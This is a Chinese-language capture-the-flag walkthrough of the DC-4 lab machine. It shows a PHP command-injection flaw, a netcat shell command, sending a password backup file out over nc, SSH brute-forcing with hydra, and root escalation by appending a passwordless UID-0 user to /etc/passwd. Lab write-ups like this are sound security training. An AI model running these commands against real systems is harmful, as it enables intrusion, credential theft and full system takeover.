内网渗透DC-4靶场通关

command.php
...
if (isset($_SESSION['LoggedIn'])) {
                    if (isset($_POST['submit'])) {
                    if(isset($_POST['radio']))
                        {
                            echo "You have selected: ".$_POST['radio'] . "
";
                            $my_cmd = $_POST['radio'];
                            //echo $my_cmd;
                            $output = shell_exec($my_cmd);
                            echo "
";
                            print $output;
                            echo "
";
                        }
                    }
                    echo "
Return to the menu.";
                }
...

本来想上传个webshell，结果当前目录没有写的权限，我是用命令执行漏洞nc反弹shell的。

nc -lvp 4444 -e /bin/bash 	#靶机发送shell
nc 192.168.31.176 4444		#kali连接

python建立虚拟终端

python -m 'improt pty;pty.spawn("/bin/bash");'

登录进来就是www-data用户。

提权

然后就各处常见目录翻一翻，最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件，其他都是空的。

test.sh就是个循环四五遍的echo测试，mailbox是root发给他的一封信，也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件，利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。

nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh

爆破出jim的ssh密码为：jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限，结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久，一直没有什么提权思路，jim的权限着实太低了什么都不能干，一直想着怎么提到root，最后想到还有两个用户，可以二次提权。最终那封邮件给了我启发，在/var/mail中找到一封jim的邮件，查看里面就有charles的密码，真是没想到。

su到charles后就能执行sudo -l了，发现teehee是可以以无密码以sudo执行的。

我也不知道teehee是什么，–help看一下文档，

-a 参数可以追加文件，但不会覆盖，直接就想到了在passwd中加一个root权限的用户不就可以提权了。

echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123

最后在/root中找到flag

总结

整个靶场整体并不难，主要是后来得提权要通过邮件还是难想到的。